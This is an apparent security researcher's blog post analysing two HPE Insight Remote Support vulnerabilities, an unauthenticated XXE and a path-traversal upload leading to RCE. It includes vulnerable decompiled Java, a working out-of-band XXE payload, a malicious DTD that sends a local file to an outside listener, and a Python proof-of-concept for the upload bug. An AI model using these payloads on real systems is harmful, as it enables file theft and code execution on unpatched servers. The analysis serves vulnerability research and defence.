Exploring Recent CVEs in HPE Insight Remote Support
Table of Contents
In this post, we’ll delve into two critical vulnerabilities recently discovered in the HPE Insight Remote Support (IRS) application, versions prior to v7.14.0.629
. These vulnerabilities—CVE-2024-53675 (unauthenticated XXE vulnerability) and CVE-2024-53676 (Remote Code Execution, or RCE vulnerability)—pose significant security risks, allowing unauthorized access and arbitrary code execution on vulnerable systems.
Overview #
With the holiday vibes going around, I had no plans on releasing any posts but as I was working through this, I learned few things about secure coding practices and hunting for these reported vulnerabilities gives a good practice to understand the researcher’s thought process and perhaps perform variant analysis in a similar situation. The Insight Remote Support application by HPE is used to gather information and statistics for multiple other hardwares such as printers and stuff, there are certain servlets exposed through web UI, accessible without authentication allowing exploitation of all the reported vulnerabilities much easier and with no dependency on credentials. A bit of background in regards with the software is that the web server is based on Tomcat server and perhaps you may have guessed by now the backend is developed on Java.
Exploiting XXE in HPE Insight Remote Support (CVE-2024-53675) #
Lately for almost all of the vulnerabilities that I tried to do n-day analysis on turned out to be XXE either due to it’s straightforwardness or setup issues that only exposes that XXE vulnerable endpoint. This was no different either as I ran into setup issues with this one as well, one thing that no one mentions is how hard it is to actually get applications like this to work if you’re going to exploit vulnerabilities to full extent. Enough talk, let’s get down to business.
As per ZDI Advisory:
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Hewlett Packard Enterprise Insight Remote Support. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the validateAgainstXSD method. Due to the improper restriction of XML External Entity (XXE) references, a crafted document specifying a URI causes the XML parser to access the URI and embed the contents back into the XML document for further processing. An attacker can leverage this vulnerability to disclose files in the context of SYSTEM.
Deep Dive into XXE Vulnerability in validateAgainstXSD
#
This vulnerability is mentioned as an unauthenticated XXE vulnerability, the problem stems from validateAgainstXSD
, this function belonged to ucacore
library which had number of utility funtions, one of them was our target validateAgainstXSD
. The deivce registration request (as per WSDL documentation accessible over /DeviceRegistration/DeviceRegistration.svc?wsdl
) expects XML content within identifier
parameter, this later gets passed to com.hp.it.sa.helpers.RegisterDeviceHelper.java
class having validateDeviceIDsXML
which later passses the XML content to validateAgainstXSD
.
public static String validateDeviceIDsXML(String deviceIDXml) throws Exception {
boolean validate = DirectConnectUtil.shouldValidate(XMLDocumentType.DEVICE_IDENTIFIERS);
if (!validate) {
logger.info("validateDeviceIDsXML: Not really doing any validation as shouldValidate configuration says so");
return "";
}
String EMPTY_XML = "Empty Device Identifiers XML";
if (StringUtils.isEmpty(deviceIDXml)) {
if (logger.isDebugEnabled())
{
logger.debug("validateDeviceIDsXML: returning validation result as : ({})", "Empty Device Identifiers XML");
}
return "Empty Device Identifiers XML";
}
ByteArrayInputStream xmlStream = new ByteArrayInputStream(deviceIDXml.getBytes());
InputStream xsdSchemaStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("xsd/device_ids.xsd");
UCAXMLParseErrorhandler validationHanlder = null;
try {
validationHanlder = XMLValidator.validateAgainstXSD(xsdSchemaStream, xmlStream, new NamespaceFilter(), "xsd");
}
catch (SAXException e) {
[..snip..]
As we can see, the validateAgainstXSD
does not have any predefined rules for blocking DTDs and entitites. For the SAXSource
there are some rules that has to be defined for restricting loading of DTDs.
public static UCAXMLParseErrorhandler validateAgainstXSD(InputStream xsdSchemaStream, InputStream xmlInstanceStream, XMLFilterImpl nameSpaceFilter, String xsdPath) throws Exception {
UCAXMLParseErrorhandler xmlParseErrorhandler = new UCAXMLParseErrorhandler();
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Source schemaFile = new StreamSource(xsdSchemaStream);
factory.setResourceResolver(new ResourceResolver(xsdPath));
try {
Schema xsdSchema = factory.newSchema(schemaFile);
Validator validator = xsdSchema.newValidator();
SAXSource source = new SAXSource(nameSpaceFilter, new InputSource(xmlInstanceStream));
validator.setErrorHandler(xmlParseErrorhandler);
validator.validate(source, null);
logger.debug("validateAgainstXSD: xmlParseErrorhandler.isValid = {}", Boolean.valueOf(xmlParseErrorhandler.isValid));
} catch (SAXException e) {
logger.error("validateAgainstXSD:", e);
throw e;
} catch (IOException e) {
logger.error("validateAgainstXSD: ", e);
throw e;
}
return xmlParseErrorhandler;
}
Exploiting the XXE Vulnerability: Proof of Concept #
For the exploitation of this, I hosted a malicious.dtd
as it will be an OOB XXE exploit, then we send a crafted payload which will load this hosted DTD which then reads the specified file and send it to our listener. This resulted in retrieval of content from the specified file, unfortunately the underlying library sends only the first line of the file as it is unable to parse the newline characters hence making this overall attack limited in terms of exfiltrating data. Similar case was identified in the Ivanti Avalanche XXE vulnerability which I wrote an exploit for few months back.
Following DTD is used for showcasing the file read via OOB:
<!ENTITY % file SYSTEM "file:///C:\users\Administrator\Desktop\hello.txt">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://192.168.1.17/?content=%file;'>">
%eval;
%exfiltrate;
RegisterDevice
request for triggering XXE attack:
# SOAP envelope using WS-Addressing with correct input/output actions
soap_envelope = f"""
<soap12:Envelope xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"
xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:tns="http://www.hp.com/it/sa/reg/">
<soap12:Header>
<wsa:Action>http://www.hp.com/it/sa/reg/Registration/RegisterDevice</wsa:Action>
<wsa:MessageID>urn:uuid:{uuid.uuid4()}</wsa:MessageID>
<wsa:To>https://localhost:7906/DeviceRegistration/DeviceRegistration.svc</wsa:To>
<tns:AuthenticationHeader>
<tns:Gdid>exampleGdid</tns:Gdid>
<tns:RegistrationToken>exampleToken</tns:RegistrationToken>
</tns:AuthenticationHeader>
</soap12:Header>
<soap12:Body>
<tns:RegisterDevice>
<tns:identifiers>
<![CDATA[
<!DOCTYPE a SYSTEM "{collaborator_url}/malicious.dtd">
<a>&callhome;</a>
]]>
</tns:identifiers>
<tns:userId>user123</tns:userId>
<tns:password>password123</tns:password>
<tns:locale>en-US</tns:locale>
<tns:optIn>true</tns:optIn>
</tns:RegisterDevice>
</soap12:Body>
</soap12:Envelope>
"""
Full POC can be found here.
Exploiting Remote Code Execution in HPE IRS (CVE-2024-53676) #
This vulnerability allows remote attackers to execute arbitrary code on affected installations of Hewlett Packard Enterprise Insight Remote Support. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the
processAtatchmentDataStream
method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
Understanding the RCE Vulnerability in processAtatchmentDataStream
#
The description is self-explanatory and if you have ever had the chance to look at a vulnerable code handling file upload written in Java, you can spot it under a minute.
Connecting the sink attachment
to the source was not hard, as we already had an idea of the exposed endpoints accepting requests. The com.hp.it.sa.helpers.DataPackageReceiverWebSvcHelper.java
, this source file had a method name processRequestForAttachment
which performed several check and later calls processAttachments
from attachmentsHelper
class.
/* */ }
/* */
/* 227 */ AttachmentsHelper attachmentsHelper = new AttachmentsHelper(adpHolder[0]);
/* 228 */ processRequestResponse = attachmentsHelper.processAttachments(dataPackageSubmissionRequest);
/* 229 */ if (chd[0] != null && adpHolder[0] != null) {
/* */
/* 231 */ (chd[0]).fileSize = (adpHolder[0]).attachmentSize;
/* 232 */ (chd[0]).fileName = (adpHolder[0]).attachmentName;
/* */
/* 234 */ logger.debug("set collectionHistory file name '{}' and size {}", Long.valueOf((adpHolder[0]).attachmentSize));
/* */ }
/* */
/* 237 */ if (!adpHolder[0].changeAdpStateAndPersistInDB(CollectionStateType.NEW))
/* */ {
/* 239 */ logger.warn("Could not change ADP state to NEW");
/* */ }
/* */
/* 242 */ return processRequestResponse;
/* */ }
The processAtatchmentDataStream
function processes the attached file sent via the request and specifies the destination directory where to save the file but the problem occurs at the attachmentName
handling, since there is no check for characters for traversal i.e. .
, ..
, /
, this will in turn if something like ../../
is specified, it will allow the attacker to set the attachmentFileLocation
as an entirely different directory eventually saving the specified file to that destination. From a broader perspecitve, as we are aware of the techstack being Java, this will allow us to upload a crafted JSP to the web server directory and performing the RCE. Unfortunately, the instance I had could not be registered for some reason limiting my tests for performing full exploitation.
private void processAtatchmentDataStream(AttachmentPart attachment) throws IOException, SOAPException {
String attachmentName = attachment.getContentId();
logger.debug(" processAtatchmentDataStream: Next attachment name = {}", attachmentName);
DataHandler content = attachment.getDataHandler();
*/
try {
InputStream inputStream = new BufferedInputStream(content.getInputStream(), 8000);
String attachmentFileDirectory = DirectConnectUtil.attachmentFileDirectory();
attachmentFileDirectory = StringUtils.isBlank(attachmentFileDirectory) ? FileUtils.createTempDirectory("dprAttachments").getAbsolutePath() : attachmentFileDirectory;
String attachmentFileLocation = attachmentFileDirectory + File.separatorChar + attachmentName.substring(1, attachmentName.length() - 1);
File file = new File(attachmentFileLocation);
file.createNewFile();
OutputStream output = new BufferedOutputStream(new FileOutputStream(file));
content.writeTo(output);
output.close();
inputStream.close();
logger.debug(" processAtatchmentDataStream: saved attachment at attachmentFileLocation = " + attachmentFileLocation + " with size = " + file
.length());
}
catch (Exception e) {
throw new WebServiceException(e);
}
}
Theoretical Exploitation: Setup Issues Preventing Full RCE #
With this information in hand, crafting a request was not a problem as the WSDL(https://localhost:7906/DataPackageReceiver/DataPackageReceiverService.svc?wsdl) gives the information about the parameters and the expected data within them. Utilizing it, the following script crafts the SOAP request that contains some required parameters, this is based on the script we used for XXE attack in the previous one.
import base64
import requests
import uuid
# SOAP endpoint
url = "https://localhost:7906/DataPackageReceiver/DataPackageReceiverService.svc"
# The file to send (hello.txt)
file_path = "hello.txt"
# Create the content of the file (hello.txt)
with open(file_path, "w") as file:
file.write("pwned")
# Read the file and encode it in Base64
with open(file_path, "rb") as file:
file_content = file.read()
encoded_file_content = base64.b64encode(file_content).decode('utf-8')
encoded_attachment_content = base64.b64encode(b"pwning").decode('utf-8')
# Construct the SOAP XML body with xmlDocument and attachments
message_id = f"{uuid.uuid4()}" # Generates a new UUID
relates_to_id = f"{uuid.uuid4()}" # Use your specific RelatesTo UUID
gdid = guid = uuid.uuid4()
registration_token = "a"*32
xml_body = f"""
<S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope"
xmlns:web="http://www.hp.com/it/sa/dpra/"
xmlns:ns1="http://www.w3.org/2005/08/addressing">
<S:Header>
<ns1:Action>http://www.hp.com/it/sa/dpra/DataPackageReceiverService/DataPackageReceiver</ns1:Action>
<ns1:MessageID>{message_id}</ns1:MessageID>
<ns1:RelatesTo>{relates_to_id}</ns1:RelatesTo>
<ns1:ReplyTo>
<ns1:Address>http://www.w3.org/2005/08/addressing/anonymous</ns1:Address>
</ns1:ReplyTo>
<!-- SOAP Headers -->
<web:gdid>{gdid}</web:gdid>
<web:guid>674a151e-72c3-4747-bf8d-9a4647ff8883</web:guid>
<web:registrationToken>{registration_token}</web:registrationToken>
</S:Header>
<S:Body>
<web:DataPackageSubmissionRequest>
<web:xmlDocument>
<![CDATA[<?xml version="1.0" encoding="UTF-8"?>
<root>
<element>Sample XML Data</element>
</root>]]>
</web:xmlDocument>
<web:attachments>
<web:ArrayOfAttachment>
<web:Attachment>
<web:FileName>example.pdf</web:FileName>
<web:FileContent>cm9iaW4=</web:FileContent> <!-- Base64 encoded content -->
</web:Attachment>
</web:ArrayOfAttachment>
</web:attachments>
</web:DataPackageSubmissionRequest>
</S:Body>
</S:Envelope>
"""
print(xml_body)
# Set the headers for the SOAP request
headers = {
"Content-Type": "application/soap+xml;charset=UTF-8", # SOAP 1.2 content type
}
# Send the request
response = requests.post(url, data=xml_body, headers=headers, verify=False)
# Print the response
print("Response Status Code:", response.status_code)
print("Response Text:", response.text)
Unfortunately, which as we saw it coming suggests that oosId
is not found, oosID
here refers to the device ID assigned during the registration, if this ID is not found within the registred instance it will not process the request further and invokes the error hence not even processing the attachment sent via the request.
tagsResponse Text: <?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope"><S:Header><To xmlns="http://www.w3.org/2005/08/addressing">http://www.w3.org/2005/08/addressing/anonymous</To><Action xmlns="http://www.w3.org/2005/08/addressing" xmlns:S="http://www.w3.org/2003/05/soap-envelope" S:mustUnderstand="true">http://www.hp.com/it/sa/dpra/DataPackageReceiverService/DataPackageReceiverResponse</Action><MessageID xmlns="http://www.w3.org/2005/08/addressing">uuid:765bc242-3452-446c-8c0f-7107086e59ec</MessageID><RelatesTo xmlns="http://www.w3.org/2005/08/addressing">dc305c5e-c0fb-4bbf-8d92-6ddd8b6bf7ad</RelatesTo></S:Header><S:Body><DataPackageSubmissionResponse xmlns="http://www.hp.com/it/sa/dpra/" xmlns:ns2="http://www.hp.com/it/sa/dpra" xmlns:ns3="http://schemas.microsoft.com/2003/10/Serialization/"><Status>SenderError</Status><ErrorCode>206</ErrorCode><Message>This device (with oosId: e0cc510d-9100-4b24-9f16-bbb13b004463) is not found in Insight Remote Support. Please unregister and re-register device.</Message></DataPackageSubmissionResponse></S:Body></S:Envelope>
Checking the logs, we observe that the same messaged was logged into the file and there is an additional information stating that the attachment processing was aborted by the application.
17 Dec 2024 20:02:50.343 [qtp1418385211-34] INFO c.h.i.s.h.DataPackageReceiverWebSvcHelper - Found attachment: ({http://www.hp.com/it/sa/dpra/}xmlDocument)
17 Dec 2024 20:02:50.343 [qtp1418385211-34] WARN c.h.i.s.h.DataPackageReceiverWebSvcHelper - Unknown device. Could not find an IpAddress in the xmlString
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.h.DataPackageReceiverWebSvcHelper - processRequest: This device (with oosId: 93f6702d-6ba5-406c-9e81-c9959f141e39) is not found in Insight Remote Support. Please unregister and re-register device.
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.h.DataPackageReceiverWebSvcHelper - processRequestForAttachment: aborted processing due to some error in inline XML processing: (javax.xml.bind.JAXBElement@49919d89)
17 Dec 2024 20:02:50.343 [qtp1418385211-34] ERROR c.h.i.s.d.DataPackageReceiverServiceImpl - dataPackageReceiver: non-success status : SENDER_ERROR
17 Dec 2024 20:02:52.711 [RGMgr-1] INFO c.h.u.i.a.hp.remotesupport.HpAdapter - [RGMgr-1] Triggered for self-registration.
Checking the function which was handling the attachments, it does not perform the processing.
/* 206 */ DataPackageXmlSubmissionResponse processRequestXmlResponse = processRequest(xmlString, oosId, iLoMsgId, registrationToken, adpHolder, chd, true);
/* */
/* 208 */ processRequestResponse = DirectConnectUtil.convertToDataPackageSubmissionResponse(processRequestXmlResponse);
/* */
/* 210 */ if (!processRequestResponse.getStatus().equals(DataPackageResultStatus.SUCCESS)) {
/* */
/* 212 */ logger.error("processRequestForAttachment: aborted processing due to some error in inline XML processing: ({})", processRequestResponse
/* */
/* 214 */ .getMessage());
/* 215 */ return processRequestResponse;
/* */ }
/* */
Based on our analysis of this vulnerability, it’s clear that exploiting it requires the gdid
(oosId
) and a registration token, which limits the potential for a fully unauthenticated attack. While the exploitation process itself is straightforward, the need for these specific values introduces some dependency. I’ve uploaded the PoCs to GitHub, and from the analysis conducted, a theoretical exploit with hardcoded values can certainly trigger this path traversal vulnerability. Once the necessary items are obtained, anyone assessing this vulnerability should be able to fully exploit it, leveraging RCE via path traversal.